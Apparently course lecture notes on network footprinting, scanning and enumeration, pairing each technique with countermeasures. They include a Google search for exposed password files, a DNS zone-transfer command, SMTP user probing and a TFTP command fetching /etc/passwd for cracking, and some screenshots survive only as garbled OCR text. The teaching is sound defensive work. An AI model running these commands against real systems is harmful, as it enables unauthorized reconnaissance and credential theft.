Chapter 1: Footprinting

Chapter 1

Footprinting

Google Hacking

Find sensitive data about a company from Google

Completely stealthy—you never send a single packet to the target (if you view the cache)

To find passwords:

· intitle:"Index of" passwd passwd.bak

See links Ch 1a, 1b on my Web page (samsclass.info, click CNIT 124)

Other fun searches

[image: image1]Nessus reports (link Ch 1c)
More passwords (link Ch 1d)
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Be The Bot

See pages the way Google's bot sees them

Custom User Agents
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Add the "User Agent Switcher" Firefox Extension

Try this Nokia one for fun

More in Project 2

Footprinting 

Gathering target information 

"If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle." 

· Sun Tzu on the Art of War 

Environments and the Critical Information Attackers Can Identify 
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Internet

Domain name

Network blocks

Specific IP addresses of systems reachable via the Internet

TCP and UDP services running on each system identified

System architecture (for example, Sparc vs. x 86)

Access control mechanisms and related access control lists (ACLs)

Intrusion-detection systems (IDSs)

System enumeration (user and group names, system banners, routing tables, and SNMP information) DNS hostnames

Intranet

Networking protocols in use (for example, IP, IPX, DecNET, and so on)

Internal domain names

Network blocks

Specific IP addresses of systems reachable via the intranet

TCP and UDP services running on each system identified

System architecture (for example, SPARC vs. x 86)

Access control mechanisms and related ACLs

Intrusion-detection systems

System enumeration (user and group names, system banners, routing tables, and SNMP information)

Remote access

Analog/digital telephone numbers

Remote system type

Authentication mechanisms

VPNs and related protocols (IPSec and PPTP)

Extranet

Connection origination and destination

Type of connection

Access control mechanism

Internet Footprinting

Step 1: Determine the Scope of Your Activities 

Step 2: Get Proper Authorization 

Step 3: Publicly Available Information 

Step 4: WHOIS & DNS Enumeration 

Step 5: DNS Interrogation 

Step 6: Network Reconnaissance 

Step 1: Determine the Scope of Your Activities 

Entire organization

Certain locations

Business partner connections (extranets)

Disaster-recovery sites

Step 2: Get Proper Authorization 

Ethical Hackers must have authorization in writing for their activities

· "Get Out of Jail Free" card

· Criminals omit this step 

Image from www.blackhatseo.fr
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Step 3: Publicly Available Information 

Company web pages

· Wget and Teleport Pro are good tools to mirror Web sites for local analysis (links Ch 1o & 1p)

· Look for other sites beyond "www"

· Outlook Web Access

https://owa.company.com or https://outlook.company.com

· Virtual Private Networks

http://vpn.company.com or http://www.company.com/vpn

Related Organizations 

Physical Address

· Dumpster-diving

· Surveillance

· Social Engineering

Tool: Google Earth (link Ch 1q)

Phone Numbers, Contact Names, E-mail Addresses, and Personal Details

Current Events

· Mergers, scandals, layoffs, etc. create security holes

Privacy or Security Policies, and Technical Details Indicating the Types of Security Mechanisms in Place 

Archived Information 

· The Wayback Machine (link Ch 1t)

· Google Cache

Disgruntled Employees

Search Engines

· SiteDigger seems to be out of date—I tried to get it to work with a Google AJAX key but it doesn't

· Wikto is an alternative that might still work (link Ch 1u)

Usenet

· Groups.google.com

Resumes

Step 4: WHOIS & DNS Enumeration

Two organizations manage domain names, IP addresses, protocols and port numbers on the Internet

· Internet Assigned Numbers Authority (IANA; http://www.iana.org)

· Internet Corporation for Assigned Names and Numbers (ICANN; http://www.icann.org) 

· IANA still handles much of the day-to-day operations, but these will eventually be transitioned to ICANN 
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Domain-Related Searches 

· Every domain name, like msn.com, has a top-level domain - .com, .net, .org, etc.

If we surf to http://whois.iana.org, we can search for the authoritative registry for all of .com 

· .com is managed by Verisign

Verisign Whois (link Ch 1v)

· Search for ccsf.edu and it gives the Registrar

Whois.educause.net

Three steps:

· Authoritative Registry for top-level domain

· Domain Registrar

· Finds the Registrant

Automated tools do all three steps

· Whois.com

· Sam Spade

· Netscan Tools Pro

They are not perfect.  Sometimes you need to do the three-step process manually.

Once you've homed in on the correct WHOIS server for your target, you may be able to perform other searches if the registrar allows it

You may be able to find all the domains that a particular DNS server hosts, for instance, or any domain name that contains a certain string 

· BUT a court decision in South Dakota just declared this illegal (link Ch 1o)

How IP addresses are assigned: 

· The Address Supporting Organization (ASO http://www.aso.icann.org) allocates IP address blocks to

· Regional Internet Registries (RIRs), which then allocate IPs to organizations, Internet service providers (ISPs), etc.

· [image: image19.jpg]F: \Users\Sam>ns1lookup
Default Server: buffalo.setup
Address: 192.168.11.1:53

> 1s -d certifiedhacker.com

[buffalo.setup]

xxx Can't list domain certifiedhacker.com: Unspecified error

The DNS server refused to transfer the zone certifiedhacker.com to your computer
If this

is incorrect, check the zone transfer security settings for certifiedhacker.com

on the DNS

server at IP address 192.168.11.1.



ARIN (http://www.arin.net) is the RIR for North and South America

IP-Related Searches 

· To track down an IP address:

Use arin.net (link Ch 1x)

It may refer you to a different database

Examples:

147.144.1.1 

61.0.0.2
[image: image20.jpg]Command Prompt - ftp_ftp.tmk.com

F:\Users\Sam>ftp ftp.tmk.com
Connected to server. tmk.com.
220 seruer.tmk.com MultiNet FTP Seruer Process US.2(16) at lied 30-Jan-2008 12:15

PH-EST
User (server.tmk.com:(none)): Anonymous

331 Anonymous user ok. Send real ident as password
Password:





Search by company name at arin.net to find IP ranges, and AS numbers
· AS numbers are used by BGP (Border Gateway Protocol) to prevent routing loops on Internet routers (link Ch 1y) 

· Examples: Google, CCSF

Administrative contact gives you name, voice and fax numbers

Useful for social engineering

Authoritative DNS Server can be used for Zone Transfer attempts

· But Zone Transfers may be illegal now (link Ch 1s)

Public Database Security Countermeasures 

· When an administrator leaves an organization, update the registration database

· That prevents an ex-employee from changing domain information

· You could also put in fake "honeytrap" data in the registration

eBay's domain was hijacked (link Ch 1z1)

Step 5: DNS Interrogation 

Zone Transfers

· Gives you a list of all the hosts when it works

· Usually blocked, and maybe even illegal now

· Demonstration (with Ubuntu)

dig soa hackthissite.org

ANSWER shows SOA is dns1.nettica.com

dig @ dns1.nettica.com hackthissite.org axfr
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Determine Mail Exchange (MX) Records 

You can do it on Windows with NSLOOKUP in Interactive mode

DNS Security Countermeasures

· Restrict zone transfers to only authorized servers 

· You can also block them at the firewall

DNS name lookups are UDP Port 53

Zone transfers are TCP Port 53

· Attackers could still perform reverse lookups against all IP addresses for a given net block 

· So, external nameservers should provide information only about systems directly connected to the Internet 

Step 6: Network Reconnaissance 
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Traceroute

· Can find route to target, locate firewalls, routers, etc.

Windows Tracert uses ICMP

Linux Traceroute uses UDP by default

Tracert
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NeoTrace

NeoTrace combines Tracert and Whois to make a visual map (link Ch 1z2)

Cain & Abel has a customizable Traceroute function that lets you use any TCP or UCP port, or ICMP

· Link Ch 1z4

· But it didn't work when I tried it on XP or Vista

Firewalk uses traceroute techniques to find ports and protocols that get past firewalls

We will discuss Firewalk later (Chapter 11)

Countermeasures

· Many of the commercial network intrusion-detection systems (NIDS) and intrusion prevention systems (IPS) will detect this type of network reconnaissance 

· Snort – the standard IDS(link Ch 1z5)

· RotoRouter – Detects traceroutes and sends fake responses (link Ch 1z6)

Countermeasures

· You may be able to configure your border routers to limit ICMP and UDP traffic to specific systems, thus minimizing your exposure 

Last modified 1-21-08
Determining If The System Is Alive 
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Summary

· Ping Sweeps

Fping

Nmap

SuperScan

Ping Sweep from SolarWinds

Hping2

Icmpenum

· Countermeasures 

· ICMP Queries

Determining If The System Is Alive 

Network Ping Sweeps

· Ping is traditionally used to send ICMP ECHO (Type 8) packets to a target system

· Response is ICMP ECHO_REPLY (Type 0) indicating the target system is alive 

fping

fping is a fast PING scanner, because it doesn't wait for a response from one system before moving on to the next one

· Available for Linux and Windows
Link Ch 2b for Windows version (slower than Linux version)
Ping Sweep With Nmap

Use the –sP option
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SuperScan

Does PING scanning, using several types of ICMP packets

Also does port scanning, banner grabbing, whois, and enumeration

Superscan Enumeration

To run SuperScan, you need Win 2000 or Win XP before SP 2

Great tool

· [image: image27.jpg]-@ 4% [0 http://ws.arin.net/whois/?queryinput=ccsf

ARIN WHOIS Database Search

Relevant Links:

Training:

Search ARIN WHOIS for: ccsf
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City College of San Francisco (CCSF)

San Francisco Department of Telecommunications and Information Services (AS39961) CCSF
City College of San Francisco CCSF (NET-147-144-0-0-1) 147.144.0.0 - 147.144.255.255



Link Ch 2c

ICMP Packet Types

Message Type: 0 - Echo Reply

Message Type: 3 - Destination Unreachable

Message Type: 4 - Source Quench

Message Type: 5 - Redirect

Message Type: 8 - Echo

Message Type: 11 - Time Exceeded

Message Type: 12 - Parameter Problem

Message Type: 13 - Timestamp

Message Type: 14 - Timestamp Reply

Message Type: 15 - Information Request

Message Type: 16 - Information Reply

Ping Sweep from SolarWinds

Scans really fast, which can saturate a network

Commercial tool, but there's a 30-day trial available

· Ch 2d

icmpenum

Unix utility that sends the traditional ICMP ECHO packets as well as

· ICMP TIME STAMP REQUEST and

· ICMP INFO requests 

Similar to SuperScan

ICMP Blocking

ICMP is often blocked these days

· Blocked by default in Win XP SP2, Win 2003 SP 1, and Vista

If ICMP is blocked, use port scanning

· Slower than ping sweeping

SuperScan for Win 2000 or XP without SP2

Nmap for Linux, Unix, or Windows

Hping2 for Unix (can fragment packets)

Nmap

TCP Ping Scan uses TCP ACK packets instead of ICMP

Zenmap GUI runs on Vista (as Administrator) – very pretty

Use –PT 80 to get through many firewalls

· Link Ch 2i

Other Ports to Use

Email ports

· SMTP (25)

· POP (110)

· IMAP (143) 

AUTH (113)

· IDENT service – determines remote user of a network connection (link Ch 2g)

Ping Sweeps Countermeasures 

Detecting Ping Sweeps

· Network-based Intrusion Detection Systems like Snort detect ping sweeps

· Ping scans will be in the host logs

· Firewalls can detect ping scans

Ping Sweep Detection Tools

For Unix

· Scanlogd, Courtney, Ippl, Protolog
For Windows

· Snort could be used (link Ch 2z9)
Blocking ICMP

Routers may require some ICMP packets, but not all types

Safest procedure would be to allow ICMP only from your ISP, and only to public servers on your DMZ

Other ICMP Threats

ICMP can be used for a Denial of Service attack

ICMP can be used as a covert channel with Loki

· Allowing unauthorized data transfer

· Such as control signals for a back-door trojan

· Links Ch 2l, Ch 2m

ICMP Queries 

icmpquery uses ICMP type 13 (TIMESTAMP) to find the system time, which shows its timezone

ICMP type 17 (ADDRESS MASK REQUEST) shows the subnet mask

· Link Ch 2n
Determining Which Services Are Running Or Listening 

Summary

· Port Scanning 

· Scan Types 

· Identifying TCP and UDP Services Running 

· Windows-Based Port Scanners 

· Port Scanning Breakdown 

Port Scan Types

We covered these ones in CNIT 123

· TCP Connect scan 

· TCP SYN scan 

· TCP FIN scan 

· TCP Xmas Tree scan (FIN, URG, and PUSH)

· TCP Null scan 

· TCP ACK scan 

· UDP scan

TCP Header

[image: image28.jpg]Command Prompt - nslookup.

F:\Users\Sam>nslookup
Default Server: buffalo.setup
Address: 192.168.11.1:53

> set q=mx
> cesf.edu

Server: buffalo.setup
Address: 192.168.11.1:53

Non-authoritative answer:

ccsf . edu MX preference = 10, mail exchanger = ns7.ccsf.cc.ca.us
ccsf.edu nameserver = rudra3.ccsf.cc.ca.us

ccsf.edu nameserver = ns3.csu.net

ns3.csu.net internet address = 137.145.204.10

rudra3.ccsf.cc.ca.us  internet address = 147.144.3.238

>




WINDOW indicates the amount of data that may be sent before an acknowledgement is required

TCP Window Scan

Sends ACK packets

· Both open and closed ports reply with RST packets

· But on some operating systems, the  WINDOW size in the TCP header is non-zero for open ports, because the listening service does sometimes send data

· Link Ch 2x

RPC Scan

SunRPC (Sun Remote Procedure Call) is a common UNIX protocol used to implement many services including NFS (Network File System)

The RPC scan works on Unix systems, including Solaris

Enumerates RPC services, which are rich in exploitable security holes

· [image: image29.jpg]‘ommand Prompt =B s

F:\Users\Sam>tracert yahoo.com

Tracing route to yahoo.com [216.109.112.135]
over a maximum of 30 hops

1 1 ms 1 ms 1 ms buffalo.setup [192.168.11.1]

2 2 ms 2 ms 1ms 192.168.2.1

3 9ms 11ms 12ms 10.21.64.

4 9 ms 8 ms 18 ms ul4.aggrl.sfrn.ca.rcn.net [208.59.216.194

5 9ms 11ms 10 ms 206.169.179.1

6 11ms 19 ms 19 ms peer-02-s0-0-0-0-0.palo.twtelecom.net [64.129.24
8.19]

7 8 ms 8 ms 79 ms so-1-1-0.pat2.dce.yahoo.com [216.115.101.131]

8§ 87ms 91 ms 113 ms ge-1-8-0-p101.msr1.den.yahoo.com [216.115.108.43
1

9 7Tms 87 ms 89 ms gel0-2.bas2-m.dcn.yahoo.com [216.109.120.249

10 91 ms 78 ms 85 ms W2.rc.vip.den.yahoo.com [216.109.112.135

Trace complete.



See link Ch 2y

Nmap

Interesting options

· -f 
fragments packets

· -D
Launches decoy scans for concealment

· -I
IDENT Scan – finds owners of processes (on Unix systems)

· -b
FTP Bounce (see next slide)

FTP Bounce

Old FTP servers allowed a request for a file transfer to a third IP address

This could be used to send email or other data to the third computer from the FTP server
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Nmap Book Out

Available from Amazon

Highly recommended
Older Port Scanning Tools

strobe – fast TCP scanner

udp_scan – UDP scanner

netcat – can do port scanning

Amap (not in book)

Application scanner – finds applications even if they are running on unusual ports

Steps to use amap:

· Create a folder C:\amap

· Download amap from link Ch 2h & extract it there

· Run an nmap scan with this option, to save the output file:

 –oM c:\amap\filename.nmap
[image: image31.png]Edit User Agent

Description: | Nokia

User Agent: | Nokia6620/1.0





· At Command Prompt in C:\amap

 amap –bqv –i hackmebank.nmap
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Intense Scan on 192.168.11.10 X

Target: /1921681110 [-] profite ‘[lntenseScan [-] [scan

Command: |nmap -sP 192.16811.1/24

Services Ports / Hosts| Nmap Output |Host Detals | Scan Detals

0S¢ Host
W 192168110

Starting Nmap 4.53 ( http://insecure.org ) at 2008-01-25 07:57
Pacific Standard Time
Host buffalo.setup (192.168.11.1) appears to be up.
¥ buffalosetup 192 MAC Address: 00:16:01:2D:79:F2 (Buffalo)
W 192168112 Host 192.168.11.2 appears to be up.
Host 192.168.11.3 appears to be up.
MAC Address: O :0E:5C:8A (Accton Technology)
Host 192.168.11.10 appears to be up-

¥ donieEny MAC Address: O 29:2B:66:AE (VMware)
¥ 102168115 Nmap done: 256 IP addresses (4 hosts up) scanmed in 29.375 seconds





Windows-Based Port Scanners 

SuperScan

· Four different ICMP host-discovery techniques

· Accurate UDP scan sending "nudge strings" 

· Banner grabbing

· Many other tools

Nmap with the Zenmap GUI

· Powerful, runs on Vista
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Popular Scanning Tools and Features 

Add Nmap with Zenmap in the Windows group

Port Scanning Countermeasures 

Snort (http://www.snort.org) is a great free IDS (Intrusion Detection System)

[**] spp_portscan: PORTSCAN DETECTED from 192.168.1.10 [**] 05/22-18:48:53.681227 [**] spp_portscan: portscan status from 192.168.1.10: 4 connections across 1 hosts: TCP(0), UDP(4) [**] 05/22-18:49:14.180505 [**] spp_portscan: End of portscan from 192.168.1.10 [**] 05/22-18:49:34.180236 

Other Detection Tools
Scanlogd
Detects TCP port scans on Unix

Firewalls can detect port scans
Use threshold logging to limit the volume of email alerts sent by your firewall

That groups similar alerts into a single email
Preventing Port Scans

You can't stop the scans from coming in, but you can mimimize your attack surface

Disable unnecessary services

Detecting the Operating System 

Banner-Grabbing
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Many services announce what they are in response to requests

· Banner grabbers just collect those banners

· But they could be spoofed

Active Stack Fingerprinting 

Details of the TCP Packets are used to identify the operating system

Nmap does this, using these probes:

· FIN probe 

· Bogus Flag probe 

· Initial Sequence Number (ISN) sampling 

· "Don't fragment bit" monitoring 

· TCP initial window size 

And many others

Operating System Detection Countermeasures 

IDS can detect operating system detection scans

Hacking the OS to change its TCP stack is dangerous, and not recommended

Best policy: Accept that your firewalls and proxy servers will be scanned and fingerprinted, and harden them against attackers who know the OS

Passive Operating System Identification 

Sniff traffic and guess the OS from that

Examine these features

· TTL (time-to-live)

· Window size

· DF (Don't fragment bit)

siphon was the first tool to do this, it's out of date

p0f is a newer one (link Ch 2z6)
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p0f on Vista

Run p0f in a Command Prompt Window

Open a Web page

It fingerprints any OS it can see on the LAN
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Automated Discovery Tool: Cheops-ng

Combines Ping, Traceroute, Port Scans, and OS Detection to draw a network map

· Link Ch 2z7

Vista's "Network Map" is worth a look

Last modified 1-23-09
Definition
Scanning identifies live hosts and running services 

Enumeration probes the identified services more fully for known weaknesses 

Enumeration is more intrusive, using active connections and directed queries

Enumeration will usually be logged and noticed

Goals of Enumeration

User account names

· to inform subsequent password-guessing attacks

Oft-misconfigured shared resources

· for example, unsecured file shares

Older software versions with known security vulnerabilities

· such as web servers with remote buffer overflows

Pen-Test Video

Link Ch 3a: Droop's Box: Simple Pen-test Using Nmap, Nikto, Bugtraq, Nslookup and Other Tools  by IronGeek

Banner Grabbing
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Telnet in Vista and Windows 7 

First you need to install Telnet

In Control Panel, Programs and Features, Turn Windows Features on or off, check Telnet Client
Banner Grabbing
Connecting to remote applications and observing the output 

Simple way, at a command prompt

· telnet www.ccsf.edu 80

On the next blank screen type in
· GET / HTTP/1.1

· Press Enter twice

Making Characters Visible

In Windows XP and Vista, you can't see what you type in the Telnet session.  To fix that, do this:

At a command prompt, type

telnet hills.ccsf.edu 80

Press Enter.  Press Ctrl+].  Then type

set localecho

Press Enter twice
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Link Ch 3z11

Example Banners

[image: image39.jpg]HTTP/1.1 200 OK

Date: Fri, 25 Jan 2008 23:46:30 GMT

[Server: Apache/1.3.26 (Unix) mod_ss1/2.8.10 OpenS$SL/0.9.7d
Connection: close

Content-Type: text/html; charset=iso-8859-1



www.ccsf.edu tells you too much

cnn.com is better

Netcat Banner Grabs

Get Netcat for Windows at link Ch 3d

[image: image40.jpg]C:\pof>pof -
pOf - passive os fingerprinting utility, version 2.8.4

(C) M. Zalewski <lcamtuf@dione.cc>, . Stearns <wstearns@pobox.com>

WIN32 port (C) M. Davis <mike@datanerds.net>, K. Kuehl <kkuehl@cisco.com>

pOf: listening (SYN) on '\Deuice\NPF_(BOAA4DI3-327C-449D-B84A-B2F6T8IBFE11)", 22
3 sigs (12 generic), rule: 'all’.

192.168.11.2:53593 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)
-> 147.144.1.2:80 (distance 0, link: ethernet/modem)

192.168.11. 3594 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222)
=> 147.144.1.2:80 (distance 0, link: ethernet/modem)

192.168.11.17:33703 - Solaris 10 (beta)
=> 72.14.253.104:80 (distance O, linl

othernet/moden)




Banner-Grabbing Countermeasures 

Turn off unnecessary services
Disable the presentation the vendor and version in banners 

Audit yourself regularly with port scans and raw netcat connects to active ports 

Enumerating Common Network Services 

FTP Enumeration, TCP 21 
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CCSF doesn't give away much information

FTP is becoming obsolete, see ftp.sun.com

FTP passwords are sent in the clear

· Don't allow anonymous uploads

· Turn it off, use secure FTP instead

Googling for FTP Servers
Search for

· intitle:"Index of ftp://"

Here's an overly informative HTTP banner

[image: image42.jpg]@ Administrator: Command Prom end Feedback (=

:\tools>fping -g 192.168.1.8/192.168.1.18

Fast pinger version 2.17
c> Wouter Dhondt C(htip://uww.kuakkelflap.com

Pinging nultiple hosts with 32 bytes of data every 1880 ms:

Reply[1] from 192.168.1.1: hytes=32 time=
192.168.1.2: request tined out
1927168713 request timed out
19271681114 request timed out
19271687151 request timed out
192716871161 request timed out
192116811.7: request timed out
192716871 8: request timed out
19271681119 request timed out
192716811110 request timed out

1 ms TTL=255

Ping statistics for multiple hosts:
Packets: Sent = 10, Received
Approximate round trip tings in mill:
Mininum = 1.1 ms. Maximum = 1.1 ms, Average = 1.1 ms

=9 (90% loss>

:\tools>





FTP Banner

Here's the corresponding overly informative FTP banner
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Enumerating SMTP, TCP 25 
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SMTP can be enumerated with Telnet, using these commands

· VRFY confirms names of valid users

· EXPN reveals the actual delivery addresses of aliases and mailing lists 

Antivirus Note 

McAfee antivirus blocks telnets to port 25

"Prevent mass mailing worms from sending mail"

SMTP Enumeration Countermeasures

Disable the EXPN and VRFY commands, or restrict them to authenticated users
Sendmail and Exchange both allow that in modern versions

DNS Zone Transfers, TCP 53

Zone transfers dump the entire contents of a given domain's zone files

Restricted to authorized machines on most DNS servers now  


[image: image2]
Enumerating TFTP, TCP/UDP 69 

[image: image44.jpg]Bl F\Windows\system32\cmd.exe

C:\amap>amap -bqu -i hacmebank .nnap

Using nmap file hacmebank.nmap ... done

Using trigger file ./appdefs.trig ... loaded 30 triggers
Using response file ./appdefs.resp ... loaded 346 responses
Using trigger file ./appdefs.rpc ... loaded 450 triggers

@amap uS5.2 (wwW.thc.org/thc-amap) started at 2008-01-25 07:29:39 - MAPPING mode

Total amount of tasks to perform in plain connect mode: 207

IProtocol on 192.168.11.10:89/tcp (by trigger http) matches http - banner: HTTP/1
.1 200 OK\r\nServer Microsoft-I1IS/5.1\r\nDate Fri, 25 Jan 2008 152938 GMT\r\nX-P
owered-By ASP_NET\r\nConnection Keep-Alive\r\nContent-Length 1330\r\nContent-Typ |
‘e text/html\r\nSet-Cookie ASPSESSIONIDOGGAQYXY=EDIDLJPAILKGIKLEKJGKJMGH; paths/\
r\nCache

Protocol on 192.168.11.10:80/tcp (by trigger http) matches http-iis - banner: HT
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Protocol on 192.168.11.19:1025/tcp (by trigger ms-ds) matches netbios-session -

Protocol on 192.168.11.19:1029/tcp (by trigger ms-ds) matches netbios-session -
Protocol on 192.168.11.10:445/tcp (by trigger ms-ds) matches ms-ds - banner: USH
Protocol on 192.168.11.10:1433/tcp (by trigger ms-sql) matches ms-sql - banner:

Protocol on 192.168.11.10:1433/tcp (by trigger ms-sql) matches sybase - banner:

Protocol on 192.168.11.10:80/tcp (by trigger uebmin) matches webmin - banner: HT~|
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TFTP is inherently insecure
· Runs in cleartext

· No authentication at all

· Anyone can grab any file 

· Used in routers and VoIP Telephones to update firmware 
TFTP Enumeration Countermeasures 

Wrap it to restrict access
· Using a tool such as TCP Wrappers

· TCP Wrappers is like a software firewall, only allowing certain clients to access a service 

· Links Ch 3e, 3f

Limit access to the /tftpboot directory

Make sure it's blocked at the border firewall 

Finger, TCP/UDP 79 
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Shows users on local or remote systems, if enabled

· Useful for social engineering

Countermeasure: block remote access to finger
[image: image46.jpg]Date: Wed, 30 Jan 2008 15:20:45 GMT

Server: Apache/1.3.26 (Unix) mod_ss1/2.8.10 OpenS$SL/0.9.7d
Connection: close

Content-Type: text/html; charset=iso-8859-1



Enumerating HTTP, TCP 80 
Grab banners with netcat or telnet

Crawl Web sites with Sam Spade

HTTP Enumeration Countermeasures 

Change the banner on your web servers
· URLScan for IIS v 4 and later

Link Ch 3h
Microsoft RPC Endpoint Mapper (MSRPC), TCP 135

Remote Procedure Call (RPC) endpoint mapper (or portmapper) service on TCP 135 
Querying this service can yield information about applications and services available on the target machine 

epdump

Shows services bound to IP addresses

It takes some research to interpret the results
· Link Ch 3n

[image: image47.jpg]HTTP/1.1 405 Method Not Allowed

Date: Wed, 30 Jan 2008 15:19:59 GMT

Allow: GET,HEAD,POST,TRACE

Content-Length: 282

Connection: close

Content-Type: text/html; charset=iso-8859-1




rpcdump

On the Backtrack 2 CD

Start, Backtrack, Vulnerability Identification, All, RPCDump

· Similar results

MSRPC Enumeration Countermeasures 

Block port 135 at the firewall, if you can
· But some Microsoft Exchange configurations require access to the endpoint mapper

· You can avoid that by using Virtual Private Networks, or 

· Outlook Web Access (OWA) which works over HTTPS

NetBIOS Name Service, UDP 137

NetBIOS Name Service (NBNS) is Microsoft's name service, an alternative to DNS
[image: image48.jpg]Bl Command Prompt

C:\ne>nc wuw.cesf.edu 80 -
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Wed, 30 Jan 2008 15:40:13 GMT

Server: Apache/1.3.26 (Unix) mod_ss1/2.8.10 OpenS$SL/0.9.7d
Connection: close

Content-Type: text/html; charset=iso-8859-1

C:\ned>ne google.com 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Cache-Control: private
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Server: gus
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Date: lled, 30 Jan 2008 15:40:30 GMT




What is Name Resolution?

· Suppose you issue a command that refers to a computer by name, such as PING

Name Resolution

Windows needs to change a computer name to an IP address to send data packets

Windows uses two naming systems:

· DNS (the preferred method)

· NetBIOS Name Resolution (still used by all versions of Windows)

See link Ch 3v 

Standard Name Resolution Methods
[image: image49.jpg]F:\Users\Sam>ftp ftp.ccsf.edu
Connected to sol.ccsf.cc.ca.us.

220 CCSF Software Archives

User (sol.ccsf.cc.ca.us:(none)): shoune
331 Password required for sboune.
Password:

530 Login incorrect.

Login failed.
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Charts from link Ch 3v
Additional Name Resolution Methods
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NET VIEW 
NET VIEW can list the domains, or the computers in each domain

NBNS over TCP/IP

Normally NBNS only works on the local network segment

It is possible to route NBNS over TCP/IP, allowing enumeration from a remote system

Other Tools to Enumerate NBNS 

NLTEST and NETDOM can find domain controllers
NETVIEWX finds specific services 

NBTSTAT collects information from a single system

NBTSCAN scans a whole range of addresses, and dumps the whole NetBIOS name table

· [image: image51.jpg][roots] telnet 192.168.202.34 25
Trying 192.168.202.34...

Connected to 192.168.202.34.

Escape character is '~]'.

220 mail.bigcorp.com ESMTP Sendmail 8.8.7/8.8.7; 11 Apr 2002
vrfy root

250 root <root@bigcorp.com>

expn adn

250 adm <adm@bigcorp.com>

quit

221 mail.bigcorp.com closing connection



Link Ch 3w

NBTSCAN

Stopping NetBIOS Name Services Enumeration 

All the preceding techniques operate over the NetBIOS Naming Service, UDP 137 
Block UDP 137 at the firewall, or restrict it to only certain hosts

To prevent user data from appearing in NetBIOS name table dumps, disable the Alerter and Messenger services on individual hosts

Blocking UDP 137 will disable NBNS name authentication, of course 

NetBIOS Session, TCP 139

These are the notorious Null Sessions 

The Windows Server Message Block (SMB) protocol hands out a wealth of information freely

Null Sessions are turned off by default in Win XP and Server 2003, but open in Win 2000 and NT

· [image: image52.jpg][root§]tftp 192.168.202.34

tftp> connect 192.168.202.34

tftp> get /etc/passwd /tmp/passwd.cracklater
tftp> quit



They aren't available in Win 95, 98, or Me 

· Link Ch 3x, 3y, 3z00, 3z01

Null Session Against Win 2000

Information Available

Null sessions on Win 2000 and NT provide information about:

· Shares

· User accounts

· Password policies

DumpSec

Free from link Ch 3z02

Runs on Vista (and earlier Windows)

[image: image53.jpg]$ finger

Zogin Name
sbowne  Sam Bowne

2zeng01 zelong zeng
root 222

amarko01 adam markosian
jcompt0l joshua francis cempt
Sfreit0l stephen carl freitag
cmetzler Charlie Metzler
jcater01 joseph p catera

§ finger @sol
[sol.cesf.cc.ca.us

No one logged on

TTY Idle  When
*0 Wed 10:37
*1 51 Wed
“tf 019: Sun
w2 wed
*3 Wed
wa Wed
*5 2 wed
6 Wed 10:41




Registry Enumeration 
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The Registry can be viewed remotely

Requires Administrator privileges by default on Windows servers

· You can't do it with null sessions

Gary McKinnon used remote registry access to hack into the Pentagon

· Link Ch 3z03

user2sid/sid2user 

These utilities can get user account names and SIDs remotely, even if the registry key RestrictAnonymous is set to 1 

[image: image55.jpg]C:\>epdump mail.victim.com
binding is 'ncacn_ip tcp:mail.victim.com'
int 82ad4280-036b-11C£-972c-00aa006887b0 v2.0
binding 00000000-etc.@ncalrpc: [INETINFO_LEC]
annot ''
int 82ad4280-036b-11c£-972c-00aa006887b0 v2.0
binding 00000000-etc.@ncacn_ip_tcp: 216.154.242.126[1051]
annot ''
int 82ad4280-036b-11c£-972c-002a006887b0 v2.0
binding 00000000-etc.@ncacn_ip_tcp:192.168.10.2[1051]
annot ''
no more entries



They can find the Administrator's account name, even if it's renamed, by changing the last 3 numbers of another account's SID to 500

· Works against Win 2003, but not Win XP SP2

· See link Ch 3z04

All-in-One Null Session Enumeration Tools 

Winfo

Newer tool:
NBTEnum 3.3

Link Ch 3z15
SMB Null Session Countermeasures

Block TCP 139 and 445 at the router
Set the RestrictAnonymous registry key to 1 or 2

· HKLM\SYSTEM\CurrentControlSet\Control\LSA 

Ensure the Registry Is Locked Down 

SNMP, UDP 161
Simple Network Management Protocol (SNMP) is intended for network management and monitoring 

· Administrators use SNMP to remotely manage routers and other network devices

But it has many security vulnerabilities

· See links Ch 3z06, 3z07, 3z08

Community Strings

SNMP is not a very secure protocol. 

It has a minimal security system called SNMP Community Strings

Community strings act like passwords

There are three kinds of SNMP Community strings: Read-Only, Read-Write, and Trap (Trap is rarely used)

· But the community strings are often left at obvious defaults like "public" and "private"

Management Information Bases (MIBs)

[image: image56.jpg]F:\Users\Sam>PING SAMP4
Pinging SAMP4 [192.168.11.3] with 32 bytes of data

Reply from 192.168.11.3: bytes=32 time=1ms TTL=128
Reply from 192.168.11. bytes=32 time<ims TTL:=128




The MIB contains a SNMP device's data in a tree-structured form, like the Windows Registry
Vendors add data to the MIB

Microsoft stores Windows user account names in the MIB

Image from link Ch 3z07

Data Available Via SNMP Enumeration

Running services
Share names

Share paths

Comments on shares

Usernames

Domain name

[image: image57.jpg]F:\Users\Sam>net view /domain
Domain

WORKGROUP
The command completed successfully

F:\Users\Sam>net view /domain:workgroup
Server Name Remark

\\S214-00
\\saH26
\\SAHPH
The command completed successfully




SNMP Enumeration Tools

snmputil from the Windows NT Resource Kit

snmpget or snmpwalk for Unix

IP Network Browser

· Part of the Engineer's Toolset, link Ch 2d

Worse than Enumeration

Attackers who guess the SNMP community string may be able to remotely control your network devices

· That can be used for DoS attacks, or other attacks

SNMP Enumeration Countermeasures 

Remove or disable unneeded SNMP agents
Change the community strings to non-default values

Block access to TCP and UDP ports 161 (SNMP GET/SET) 

Restrict access to SNMP agents to the appropriate management console IP address 

Use SNMP V3—much more secure than V1
· Provides enhanced encryption and authentication mechanisms

Adjust Win NT registry keys to make SNMP less dangerous

BGP, TCP 179

Border Gateway Protocol (BGP) is the de facto routing protocol on the Internet 

Used by routers to help them guide packets to their destinations

It can be used to find all the networks associated with a particular corporation

· That may give you more targets to attack

A small risk, but there is no countermeasure

Windows Active Directory LDAP, TCP/UDP 389 and 3268

Active Directory contains all user accounts and other information on Windows domain controllers
If the domain is made compatible with earlier versions of Windows, such as Win NT Server, any domain member can enumerate Active Directory

Active Directory Enumeration Countermeasures 

Filter access to ports 389 and 3268 at the network border 
Use "Native" domains—don't allow Win NT4 Domain Controllers

Other Services Vulnerable to Enumeration

